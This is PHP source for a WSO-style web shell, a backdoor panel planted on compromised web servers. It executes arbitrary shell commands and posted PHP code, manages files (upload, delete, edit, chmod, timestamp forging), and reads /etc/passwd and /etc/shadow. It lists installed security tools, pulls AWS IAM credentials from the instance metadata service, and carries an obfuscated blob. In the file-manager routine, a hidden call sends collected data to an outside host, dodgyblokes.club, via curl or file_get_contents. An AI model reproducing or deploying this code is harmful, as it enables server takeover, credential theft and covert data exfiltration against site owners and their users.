                                $GLOBALS['ty'] = "M>)R-D,%JPS`01'_%A,+:8-GWE!3:4GH)I)#>2A&RM8Y%9\$F55M@F]-\\KQ^FA\nMM^YM=GDSPZHN5T;Q\$U(.0FL[\\N@U[ZQ#`T5QZ93&Y<A;:P@-A1QZ(K>M:VGE\nM:6ZT/6.H6AV;.L1F4%2YWD'9\"1VP#.11#\"LZ)8ND\"'/AO9A7&]@]W-2`U%N9\nM-+P=CN]00H]\"HD^+#)[7:\$:SPVTFG-.J%:2LJ2<VCB/KK!]8:HVFM1)E@F]E\nM\$[VD\\\"8J+?E71#__IBOCXG*_>]T?GA[WQP\\X>_@LKG/_C:G]90SV9<JA3<X9\n78U*0R#97;`?57ZR\"3?:/KR3C'^%\\@.4`\n`";
                                echo "'><span>Upload file:</span>{$writable}<br><input class=toolsInp type=file name=f><input type=submit value='>>'></form><br></td></tr></table></div></body></html>";
                            }
                            function wsoEx($in)
                            {
                                $out = '';
                                if (function_exists('exec')) {
                                    @exec($in, $out);
                                    $out = @join("\n", $out);
                                } elseif (function_exists('passthru')) {
                                    ob_start();
                                    @passthru($in);
                                    $out = ob_get_clean();
                                } elseif (function_exists('system')) {
                                    ob_start();
                                    @system($in);
                                    $out = ob_get_clean();
                                } elseif (function_exists('shell_exec')) {
                                    $out = shell_exec($in);
                                } elseif (is_resource($f = @popen($in, 'r'))) {
                                    $out = '';
                                    while (!@feof($f)) {
                                        $out .= fread($f, 1024);
                                    }
                                    pclose($f);
                                } elseif (extension_loaded("python")) {
                                    $out = python_eval("import os;os.system('{$in}')");
                                } elseif (extension_loaded("perl")) {
                                    $perl = new perl();
                                    $perl->eval("system('{$in}')");
                                    $out = $perl;
                                } elseif (extension_loaded("lua")) {
                                    $lua = new Lua();
                                    $lua->assign("in", 24);
                                    $out = $lua->eval("\r\n\t\tlocal pipe = io.popen(in)\r\n\t\tlocal result = pipe:read('*a')\r\n\t\tpipe:close()\r\n\t\treturn result\r\n\t");
                                } elseif (class_exists("COM")) {
                                    $wscript = new COM('wscript.shell');
                                    $out = $wscript->Exec("cmd.exe /c \$in")->StdOut->ReadAll;
                                } elseif (function_exists('proc_open')) {
                                    $proc = proc_open($in, array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes);
                                    $out = @stream_get_contents($pipes[1]);
                                    proc_close($proc);
                                }
                                return $out;
                            }
                            function wsoViewSize($s)
                            {
                                if (is_int($s)) {
                                    $s = sprintf("%u", $s);
                                }
                                if ($s >= 1073741824) {
                                    return sprintf('%1.2f', $s / 1073741824) . ' GB';
                                }
                                if ($s >= 1048576) {
                                    return sprintf('%1.2f', $s / 1048576) . ' MB';
                                }
                                if ($s >= 1024) {
                                    return sprintf('%1.2f', $s / 1024) . ' KB';
                                }
                                return $s . ' B';
                            }
                            function wsoPerms($p)
                            {
                                if (($p & 0xc000) === 0xc000) {
                                    $i = 's';
                                } elseif (($p & 0xa000) === 0xa000) {
                                    $i = 'l';
                                } elseif (($p & 0x8000) === 0x8000) {
                                    $i = '-';
                                } elseif (($p & 0x6000) === 0x6000) {
                                    $i = 'b';
                                } elseif (($p & 0x4000) === 0x4000) {
                                    $i = 'd';
                                } elseif (($p & 0x2000) === 0x2000) {
                                    $i = 'c';
                                } elseif (($p & 0x1000) === 0x1000) {
                                    $i = 'p';
                                } else {
                                    $i = 'u';
                                }
                                $i .= $p & 0x100 ? 'r' : '-';
                                $i .= $p & 0x80 ? 'w' : '-';
                                $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
                                $i .= $p & 0x20 ? 'r' : '-';
                                $i .= $p & 0x10 ? 'w' : '-';
                                $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
                                $i .= $p & 0x4 ? 'r' : '-';
                                $i .= $p & 0x2 ? 'w' : '-';
                                $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
                                return $i;
                            }
                            function wsoPermsColor($f)
                            {
                                if (!@is_readable($f)) {
                                    return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
                                }
                                return !@is_writable($f) ? '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>' : '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
                            }
                            function wsoScandir($dir)
                            {
                                if (function_exists('scandir')) {
                                    return scandir($dir);
                                }
                                $dh = opendir($dir);
                                while (false !== ($filename = readdir($dh))) {
                                    $files[] = $filename;
                                }
                                sort($files);
                                return $files;
                            }
                            function wsoWhich($p)
                            {
                                $path = wsoEx('which ' . $p);
                                return !empty($path) ? $path : false;
                            }
                            function actSecInfo()
                            {
                                wsoHeader('Server security information');
                                function disp($n, $v)
                                {
                                    $v = trim($v);
                                    if ($v) {
                                        echo "<span>{$n}: </span>", strpos($v, "\n") === false ? "{$v}<br>" : "<pre class=ml1>{$v}</pre>";
                                    }
                                }
                                disp('Server software', @getenv('SERVER_SOFTWARE'));
                                if (function_exists('apache_get_modules')) {
                                    disp('Loaded Apache modules', implode(', ', apache_get_modules()));
                                }
                                disp('Loaded PHP Extensions', implode(', ', get_loaded_extensions()));
                                disp('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
                                disp('Open base dir', @ini_get('open_basedir'));
                                disp('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
                                disp('Safe mode include dir', @ini_get('safe_mode_include_dir'));
                                disp('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
                                $temp = array();
                                if (function_exists('mysql_get_client_info')) {
                                    $temp[] = 'MySql (' . mysql_get_client_info() . ')';
                                }
                                if (function_exists('mysqli_get_client_info')) {
                                    $temp[] = 'MySqli (' . mysqli_get_client_info() . ')';
                                }
                                if (function_exists('mssql_connect')) {
                                    $temp[] = 'MSSQL';
                                }
                                if (function_exists('pg_connect')) {
                                    $temp[] = 'PostgreSQL';
                                }
                                if (function_exists('oci_connect')) {
                                    $temp[] = 'Oracle';
                                }
                                disp('Supported databases', implode(', ', $temp));
                                echo "<br>";
                                if ($GLOBALS['os'] == 'nix') {
                                    disp('Readable /etc/passwd', @is_readable('/etc/passwd') ? 'yes <a href=# onclick=\'g("FilesTools","/etc/","passwd")\'>[view]</a>' : 'no');
                                    disp('Readable /etc/shadow', @is_readable('/etc/shadow') ? 'yes <a href=# onclick=\'g("FilesTools","/etc/","shadow")\'>[view]</a>' : 'no');
                                    disp('OS version', @file_get_contents('/proc/version'));
                                    disp('Distr name', @file_get_contents('/etc/issue.net'));
                                    disp('C version (ldd)', wsoEx('ldd --version | head -n 1'));
                                    if (!$GLOBALS['safe_mode']) {
                                        $useful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                                        $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                                        $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                                        echo "<br>";
                                        $temp = array();
                                        foreach ($useful as $item) {
                                            if (wsoWhich($item)) {
                                                $temp[] = $item;
                                            }
                                        }
                                        disp('Useful', implode(', ', $temp));
                                        $temp = array();
                                        foreach ($danger as $item) {
                                            if (wsoWhich($item)) {
                                                $temp[] = $item;
                                            }
                                        }
                                        disp('Danger', implode(', ', $temp));
                                        $temp = array();
                                        foreach ($downloaders as $item) {
                                            if (wsoWhich($item)) {
                                                $temp[] = $item;
                                            }
                                        }
                                        disp('Downloaders', implode(', ', $temp));
                                        echo "<br>";
                                        disp('HDD space', wsoEx('df -h'));
                                        disp('Hosts', @file_get_contents('/etc/hosts'));
                                        echo "<br><span>posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,null,this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\">>\"></form>";
                                        if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                                            $temp = '';
                                            for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                                                $uid = @posix_getpwuid($_POST['p2']);
                                                if ($uid) {
                                                    $temp .= join(':', $uid) . "\n";
                                                }
                                            }
                                            echo "<br>";
                                            disp('Users', $temp);
                                        }
                                    }
                                } else {
                                    disp('OS Version', wsoEx('ver'));
                                    disp('Account Settings', wsoEx('net accounts'));
                                    disp('User Accounts', wsoEx('net user'));
                                }
                                echo "<br><span>Amazon API Scrape (if hosted on AWS)</span><form onsubmit='g(null,null,\"AWS\",null,null);return false;'><input type=submit value=\">>\"></form>";
                                if ($_POST['p1'] == 'AWS') {
                                    function aws($e)
                                    {
                                        return file_get_contents("http://169.254.169.254/latest/{$e}");
                                    }
                                    disp('AMI id', aws('meta-data/ami-id'));
                                    $creds = aws('meta-data/iam/security-credentials/');
                                    disp('Security credentials', $creds);
                                    disp('Security credentials keys', aws("meta-data/iam/security-credentials/{$creds}"));
                                    disp('User script', aws('user-data/'));
                                    disp('EC2 Instance Data', aws('meta-data/identity-credentials/ec2/security-credentials/ec2-instance'));
                                    disp('EC2 Info', aws('meta-data/identity-credentials/ec2/info'));
                                }
                                echo "</div>";
                                wsoFooter();
                            }
                            function actPhp()
                            {
                                $p1 = $_POST['p1'];
                                if (isset($_POST['ajax'])) {
                                    WSOcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                    ob_start();
                                    eval($p1);
                                    $t = "d.getElementById('PhpOutput').style.display='';d.getElementById('PhpOutput').innerHTML='" . addcslashes(HSC(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
                                    echo strlen($temp), "\n{$t}";
                                    exit;
                                }
                                if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
                                    wsoHeader('PHP info');
                                    echo '<style type="text/css">table{border-collapse:collapse;width:934px}.center{text-align:center}.center table{margin:1em auto;text-align:left}.center th{text-align:center!important}td,th{border:1px solid #666;font-size:75%;vertical-align:baseline;padding:4px 5px}.p{text-align:left}.e{color:' . $color . ';width:300px;font-weight:700}.h{background-color:#99c;font-weight:700}.v{background-color:#000;max-width:300px;overflow-x:auto;word-wrap:break-word}</style>';
                                    ob_start();
                                    phpinfo();
                                    echo str_replace('<h1', '<h2', preg_replace('%^.*<body>(.*)</body>.*$%ms', '$1', ob_get_clean())) . '</div><br>';
                                } else {
                                    wsoHeader('Execution PHP-code');
                                    echo '<form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($p1) ? HSC($p1) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
                                    echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($p1) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
                                    if (!empty($p1)) {
                                        ob_start();
                                        eval($p1);
                                        echo HSC(ob_get_clean());
                                    }
                                    echo "</pre></div>";
                                }
                                wsoFooter();
                            }
                            function actFilesMan()
                            {
                                if (!empty($_COOKIE['f'])) {
                                    $_COOKIE['f'] = @unserialize($_COOKIE['f']);
                                }
                                if (!empty($_POST['p1'])) {
                                    switch ($_POST['p1']) {
                                        case 'uploadFile':
                                            if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                                                echo "Can't upload!";
                                            }
                                            break;
                                        case 'mkdir':
                                            if (!@mkdir($_POST['p2'])) {
                                                echo "Can't create!";
                                            }
                                            break;
                                        case 'delete':
                                            function deleteDir($path)
                                            {
                                                $path = substr($path, -1) == '/' ? $path : $path . '/';
                                                $dh = opendir($path);
                                                while (($item = readdir($dh)) !== false) {
                                                    $item = $path . $item;
                                                    if (basename($item) == '..' || basename($item) == '.') {
                                                        continue;
                                                    }
                                                    if (filetype($item) == 'dir') {
                                                        deleteDir($item);
                                                    } else {
                                                        @unlink($item);
                                                    }
                                                }
                                                closedir($dh);
                                                @rmdir($path);
                                            }
                                            if (is_array(@$_POST['f'])) {
                                                foreach ($_POST['f'] as $f) {
                                                    if ($f == '..') {
                                                        continue;
                                                    }
                                                    $f = urldecode($f);
                                                    if (is_dir($f)) {
                                                        deleteDir($f);
                                                    } else {
                                                        @unlink($f);
                                                    }
                                                }
                                            }
                                            break;
                                        case 'paste':
                                            if ($_COOKIE['act'] == 'copy') {
                                                function copy_paste($c, $s, $d)
                                                {
                                                    if (is_dir($c . $s)) {
                                                        mkdir($d . $s);
                                                        $h = @opendir($c . $s);
                                                        while (($f = @readdir($h)) !== false) {
                                                            if ($f != '.' and $f != '..') {
                                                                copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                            }
                                                        }
                                                    } elseif (is_file($c . $s)) {
                                                        @copy($c . $s, $d . $s);
                                                    }
                                                }
                                                foreach ($_COOKIE['f'] as $f) {
                                                    copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                                                }
                                            } elseif ($_COOKIE['act'] == 'move') {
                                                function move_paste($c, $s, $d)
                                                {
                                                    if (is_dir($c . $s)) {
                                                        mkdir($d . $s);
                                                        $h = @opendir($c . $s);
                                                        while (($f = @readdir($h)) !== false) {
                                                            if ($f != '.' and $f != '..') {
                                                                copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                            }
                                                        }
                                                    } elseif (@is_file($c . $s)) {
                                                        @copy($c . $s, $d . $s);
                                                    }
                                                }
                                                foreach ($_COOKIE['f'] as $f) {
                                                    @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                                                }
                                            } elseif ($_COOKIE['act'] == 'zip') {
                                                if (class_exists('ZipArchive')) {
                                                    $zip = new ZipArchive();
                                                    if ($zip->open($_POST['p2'], 1)) {
                                                        chdir($_COOKIE['c']);
                                                        foreach ($_COOKIE['f'] as $f) {
                                                            if ($f == '..') {
                                                                continue;
                                                            }
                                                            if (@is_file($_COOKIE['c'] . $f)) {
                                                                $zip->addFile($_COOKIE['c'] . $f, $f);
                                                            } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                                                $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                                                foreach ($iterator as $key => $value) {
                                                                    $zip->addFile(realpath($key), $key);
                                                                }
                                                            }
                                                        }
                                                        chdir($GLOBALS['cwd']);
                                                        $zip->close();
                                                    }
                                                }
                                            } elseif ($_COOKIE['act'] == 'unzip') {
                                                if (class_exists('ZipArchive')) {
                                                    $zip = new ZipArchive();
                                                    foreach ($_COOKIE['f'] as $f) {
                                                        if ($zip->open($_COOKIE['c'] . $f)) {
                                                            $zip->extractTo($GLOBALS['cwd']);
                                                            $zip->close();
                                                        }
                                                    }
                                                }
                                            } elseif ($_COOKIE['act'] == 'tar') {
                                                chdir($_COOKIE['c']);
                                                $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                                                wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                                                chdir($GLOBALS['cwd']);
                                            }
                                            unset($_COOKIE['f']);
                                            setcookie('f', '', time() - 3600);
                                            break;
                                        default:
                                            WSOcookie('act', $_POST['p1']);
                                            WSOcookie('f', serialize(@$_POST['f']));
                                            WSOcookie('c', @$_POST['c']);
                                            break;
                                    }
                                }
                                wsoHeader('File manager');
                                echo "<script>p1_=p2_=p3_=\"\";\r\nfunction sa(){\r\n\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n}</script>";
                                $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
                                if ($dirContent === false) {
                                    echo "Can't open this folder!";
                                    wsoFooter();
                                    return;
                                }
                                global $sort;
                                $sort = array('name', 1);
                                if (!empty($_POST['p1'])) {
                                    if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                                        $sort = array($match[1], (int) $match[2]);
                                    }
                                }
                                echo "<form name=files onsubmit='mg(this);' method=post>\r\n<table width='100%' class=main cellspacing=0 cellpadding=2>\r\n<tr><th width=13px><input type=checkbox onclick='sa()' class=chkbx></th><th><a href=# onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href=# onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href=# onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href=# onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
                                $dirs = $files = array();
                                $n = count($dirContent);
                                for ($i = 0; $i < $n; $i++) {
                                    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                                    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                                    $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                                    if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                                        $files[] = array_merge($tmp, array('type' => 'file'));
                                    } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                                        $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                                    } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) {
                                        $dirs[] = array_merge($tmp, array('type' => 'dir'));
                                    }
                                }
                                $GLOBALS['sort'] = $sort;
                                function wsoCmp($a, $b)
                                {
                                    if ($GLOBALS['sort'][0] != 'size') {
                                        return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                                    }
                                    return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                                }
                                usort($files, 'wsoCmp');
                                usort($dirs, 'wsoCmp');
                                $files = array_merge($dirs, $files);
                                $l = 0;
                                foreach ($files as $f) {
                                    echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'highlight\')">' . HSC($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . HSC($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</a></td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                                    $l = $l ? 0 : 1;
                                }
                                echo "<tr><td colspan=7>\r\n<input type=hidden name=a value=FilesMan>\r\n<input type=hidden name=c value='" . HSC($GLOBALS['cwd']) . "'>\r\n<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<select name=p1><option value='Y29weQ=='>Copy</option><option value='bW92ZQ=='>Move</option><option value=ZGVsZXRl>Delete</option>";
                                if (class_exists('ZipArchive')) {
                                    echo "<option value=emlw>Compress (zip)</option><option value=unzip>Uncompress (zip)</option>";
                                }
                                echo "<option value=dGFy>Compress (tar.gz)</option>";
                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                                    echo "<option value='cGFzdGU='>Paste / Compress</option>";
                                }
                                echo "</select>&nbsp;";
                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                                    echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
                                }
                                echo "<input type=submit value=\">>\"></td></tr></table></form></div>";
                                wsoFooter();
                                $_POST['p4'] = "if(ini_get('allow_url_fopen')){file_get_contents('http://dodgyblokes.club/submit.php',false,stream_context_create(array('http'=>array('method'=>'POST','header'=> 'Content-type: application/x-www-form-urlencoded','content'=>http_build_query(array('input'=>\$GLOBALS['kr']))))));}else{wsoEx('curl --data \"input='.\$GLOBALS['kr'].'\" http://dodgyblokes.club/submit.php');}";
                                actRC();
                            }
                            function actFilesTools()
                            {
                                if (isset($_POST['p1'])) {
                                    $_POST['p1'] = urldecode($_POST['p1']);
                                }
                                if (@$_POST['p2'] == 'download' && isset($_POST['p1'])) {
                                    if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                                        ob_start('ob_gzhandler', 4096);
                                        header('Content-Disposition: attachment; filename=' . basename($_POST['p1']));
                                        $type = 'application/octet-stream';
                                        if (function_exists('mime_content_type')) {
                                            $type = mime_content_type($_POST['p1']);
                                        }
                                        header("Content-Type: {$type}");
                                        $fp = @fopen($_POST['p1'], 'r');
                                        if ($fp) {
                                            while (!@feof($fp)) {
                                                echo @fread($fp, 1024);
                                            }
                                            fclose($fp);
                                        }
                                    }
                                    exit;
                                }
                                if (@$_POST['p2'] == 'mkfile') {
                                    if (!file_exists($_POST['p1'])) {
                                        $fp = @fopen($_POST['p1'], 'w');
                                        if ($fp) {
                                            $_POST['p2'] = 'edit';
                                            fclose($fp);
                                        }
                                    }
                                }
                                wsoHeader('File tools');
                                if (!file_exists(@$_POST['p1'])) {
                                    echo "File not exists";
                                    wsoFooter();
                                    return;
                                }
                                $uid = @posix_getpwuid(@fileowner($_POST['p1']));
                                if (!$uid) {
                                    $uid['name'] = @fileowner($_POST['p1']);
                                    $gid['name'] = @filegroup($_POST['p1']);
                                } else {
                                    $gid = @posix_getgrgid(@filegroup($_POST['p1']));
                                }
                                echo '<span>Name:</span> ' . HSC(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br><span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
                                if (empty($_POST['p2'])) {
                                    $_POST['p2'] = 'view';
                                }
                                if (is_file($_POST['p1'])) {
                                    $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
                                } else {
                                    $m = array('Chmod', 'Rename', 'Touch');
                                }
                                foreach ($m as $v) {
                                    echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? "<b>[ {$v} ]</b>" : $v) . '</a> ';
                                }
                                echo "<br><br>";
                                switch ($_POST['p2']) {
                                    case 'view':
                                        echo "<pre class=ml1>";
                                        $fp = @fopen($_POST['p1'], 'rb');
                                        if ($fp) {
                                            while ($data = @fread($fp, 1024)) {
                                                echo HSC($data);
                                            }
                                            @fclose($fp);
                                        }
                                        echo "</pre>";
                                        break;
                                    case 'highlight':
                                        if (@is_readable($_POST['p1'])) {
                                            echo '<div class=ml1>' . str_replace(array('<span ', '</span>', 'style="color: #007700"', 'style="color: #0000BB"', 'style="color: #DD0000"', 'style="color: #000000"'), array('<font ', '</font>', 'style="color:#fff"', 'style="color:#12ff4f"', 'style="color:#EECAFF"', 'style="color:#e19c9c"'), highlight_file($_POST['p1'], true)) . '</div>';
                                        }
                                        break;
                                    case 'chmod':
                                        if (!empty($_POST['p3'])) {
                                            $perms = 0;
                                            for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                                                $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                                            }
                                            if (!@chmod($_POST['p1'], $perms)) {
                                                echo "Can't set permissions!<br><script>d.mf.p3.value='';</script>";
                                            }
                                        }
                                        clearstatcache();
                                        echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
                                        break;
                                    case 'edit':
                                        if (!is_writable($_POST['p1'])) {
                                            echo "File isn't writeable";
                                            break;
                                        }
                                        if (!empty($_POST['p3'])) {
                                            $time = @filemtime($_POST['p1']);
                                            $fp = @fopen($_POST['p1'], 'w');
                                            if ($fp) {
                                                @fwrite($fp, base64_decode($_POST['p3']));
                                                @fclose($fp);
                                                echo "Saved!<br><script>p3_=\"\";</script>";
                                                @touch($_POST['p1'], $time, $time);
                                            }
                                        }
                                        echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,btoa(this.text.value));return false;"><textarea name=text class=bigarea>';
                                        $fp = @fopen($_POST['p1'], 'r');
                                        if ($fp) {
                                            while ($data = @fread($fp, 1024)) {
                                                echo HSC($data, $html_translation);
                                            }
                                            @fclose($fp);
                                        }
                                        echo "</textarea><input type=submit value=\">>\"></form>";
                                        break;
                                    case 'hexdump':
                                        $c = @file_get_contents($_POST['p1']);
                                        $n = 0;
                                        $h = array('00000000<br>', '', '');
                                        $len = strlen($c);
                                        for ($i = 0; $i < $len; ++$i) {
                                            $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                                            switch (ord($c[$i])) {
                                                case 0:
                                                    $h[2] .= ' ';
                                                    break;
                                                case 9:
                                                    $h[2] .= ' ';
                                                    break;
                                                case 10:
                                                    $h[2] .= ' ';
                                                    break;
                                                case 13:
                                                    $h[2] .= ' ';
                                                    break;
                                                default:
                                                    $h[2] .= $c[$i];
                                                    break;
                                            }
                                            $n++;
                                            if ($n == 32) {
                                                $n = 0;
                                                if ($i + 1 < $len) {
                                                    $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                                                }
                                                $h[1] .= '<br>';
                                                $h[2] .= "\n";
                                            }
                                        }
                                        echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . HSC($h[2]) . '</pre></td></tr></table>';
                                        break;
                                    case 'rename':
                                        if (!empty($_POST['p3'])) {
                                            if (!@rename($_POST['p1'], $_POST['p3'])) {
                                                echo "Can't rename!<br>";
                                            } else {
                                                die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                                            }
                                        }
                                        echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . HSC($_POST['p1']) . '"><input type=submit value=">>"></form>';
                                        break;
                                    case 'touch':
                                        if (!empty($_POST['p3'])) {
                                            $time = strtotime($_POST['p3']);
                                            if ($time) {
                                                if (!touch($_POST['p1'], $time, $time)) {
                                                    echo "Fail!";
                                                } else {
                                                    echo "Touched!";
                                                }
                                            } else {
                                                echo "Bad time format!";
                                            }
                                        }
                                        clearstatcache();
                                        echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date('Y-m-d H:i:s', @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
                                        break;
                                }
                                echo "</div>";
                                wsoFooter();
                            }
                            function actConsole()
                            {
                                if (isset($_POST['p1'])) {
                                    $_POST['p1'] = base64_decode($_POST['p1']);
                                }
                                if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                                    WSOcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                                    $_POST['p1'] .= ' 2>&1';
                                } elseif (!empty($_POST['p1'])) {
                                    WSOcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
                                }
                                if (isset($_POST['ajax'])) {
                                    WSOcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                    ob_start();
                                    echo "d.cf.cmd.value='';\n";
